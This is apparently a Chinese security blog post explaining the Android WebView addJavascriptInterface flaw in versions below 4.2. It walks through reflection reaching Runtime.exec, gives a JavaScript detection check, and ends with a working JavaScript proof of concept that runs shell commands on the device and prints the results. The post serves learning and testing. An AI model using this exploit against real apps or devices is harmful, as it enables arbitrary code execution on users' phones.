一.概述

这个漏洞只存在于Android API level 16以及之前的版本,系统没有限制使用webView.addJavascriptInterface方法,导致攻击者可以通过使用java 反射API利用该漏洞执行任意java对象的方法,也就是通过addJavascriptInterface给WebView加入一个JavaScript桥接接口,JavaScirpt通过调用这个接口可以直接操作本地的java接口。

要注意的就是安卓的版本低于4.2才行

然后就是要使用webView来加载网页这样才能调用js,毕竟是通过js来调用这个java对象方法的

二.漏洞原理

1 webView

这玩意其实就是作为app里面的内置浏览器的角色,因为安卓系统的限制,它不允许直接运行系统的浏览器,但是又为了

在app中浏览网页,就出了webView这个组件嵌入app中

<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context=".MainActivity">
<WebView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:id="@+id/web_view"/> </androidx.constraintlayout.widget.ConstraintLayout>
package com.example.webviewtest;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.webkit.WebView;
import android.webkit.WebViewClient; public class MainActivity extends AppCompatActivity { @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
WebView webView=(WebView)findViewById(R.id.web_view);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebViewClient(new WebViewClient());
webView.loadUrl("http://www.baidu.com");
}
}

这里先获取一个webView的对象,通过getSetting()方法可以给webView对象设置属性,这里设置了允许执行js脚本

2.漏洞代码实际情况

    class JsObject{
@JavascriptInterface
public String toString()
{
return "injectedObject";
}
}
webView.addJavascriptInterface(new JSONObject(),"injectObject");
webView.loadData("","text/html",null);
webView.loadUrl("javascript:alert(injectObject.toString()");

这里就是通过addJavascriptInterface()方法注册了一个可供js来调用的java对象,后面的js代码就可以调用和执行这个java对象的代码。

3.反射机制

反射真是个好东西,可以执行任意对象的任意方法

    Demo demo=new Demo();
Class mObjectClass=demo.getClass();
System.out.println(mObjectClass.getName());
Method[] methods=mObjectClass.getDeclaredMethods();
for(Method method:methods)
{
System.out.println("method = "+method.getName());
}
try {
Class c=mObjectClass.forName("java.lang.Runtime");
Method m=c.getDeclaredMethod("getRuntime",null);
System.out.println(c.getName());
m.setAccessible(true);
Object obj=m.invoke(null, null);
Class c2=obj.getClass();
String array="cmd.exe /k start calc";
Method n=c2.getMethod("exec",array.getClass()); //返回名称exec,参数为array类型的方法
n.invoke(obj, new Object[] {array});
}catch(Exception e)
{
e.printStackTrace();
}

这波意思是只要有getClass()方法的java对象,那我就可以调用java.lang.Runtime的getRuntime方法返回Runtime后再执行exec方法调用cmd,getshell

4.漏洞检测

这里就是检测注册的java对象中是否有getClass()方法。

js代码,直接搬的别的师傅的,

function check(){
for(var obj in window){
try{
if("getClass" in window[obj]){
try{
window[obj].getClass();
document.write('<span style="color:red">'+obj+'</span>');
document.write('<br/>');
}catch(e){ }
}
}finally{ }
}
}
check();

5.漏洞poc

js代码

 <script type="text/javascript">
var i=0;
function getContents(inputStream)
{
var contents = ""+i;
var b = inputStream.read();
var i = 1;
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
contents += "\n"
b = inputStream.read();
}
i=i+1;
return contents;
} function execute(cmdArgs)
{
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
} var res = execute(["/system/bin/sh", "-c", "ls -al /sdcard"]);
document.write(getContents(res.getInputStream()));
</script>

参考链接

https://blog.csdn.net/u012195899/article/details/68942725

最新文章

  1. MongoVUE1.6.9破解启动提示System.ArgumentException: 字体“Courier New”不支持样式“Regular”
  2. WPF Tranform-Flip Image
  3. 存储过程中使用事务,sql server 事务,sql事务
  4. js中的replace全局替换
  5. UVa 1354 天平难题 Mobile Computing
  6. 经纬度距离计算Java实现代码
  7. python3抓取异步百度瀑布流动态图片(二)get、json下载代码讲解
  8. 【EF 3】浅谈ADO数据模型生成串(一):csdl,ssdl,msl分析
  9. CSS常用操作-导航栏
  10. vcs 下使用system verilog调用c函数
  11. 1081: [SCOI2005]超级格雷码
  12. SQL条件循环语句以及异常知识整理
  13. 006.Adding a controller to a ASP.NET Core MVC app with Visual Studio -- 【在asp.net core mvc 中添加一个控制器】
  14. 使用BizTalk实现RosettaNet B2B So Easy
  15. springboot启动后总是自己shutdown
  16. es6(15)--generator
  17. dpdk中文文档
  18. Spring Boot和Dubbo整合
  19. iOS-按钮单选与多选逻辑处理
  20. 怎样编写socket套接字

热门文章

  1. 2.7循环_while
  2. 离散傅里叶变换的衍生,负频率、fftshift、实信号、共轭对称
  3. leetcode -- 二进制
  4. leetcode中Java关于Json处理的依赖
  5. LogMysqlApeT
  6. nginx的请求处理
  7. Python+Selenium自动化-设置等待三种等待方法
  8. C# MVC(File)控件多张图片上传加预览
  9. CVPR2020行人重识别算法论文解读
  10. AIoT 2020 年分析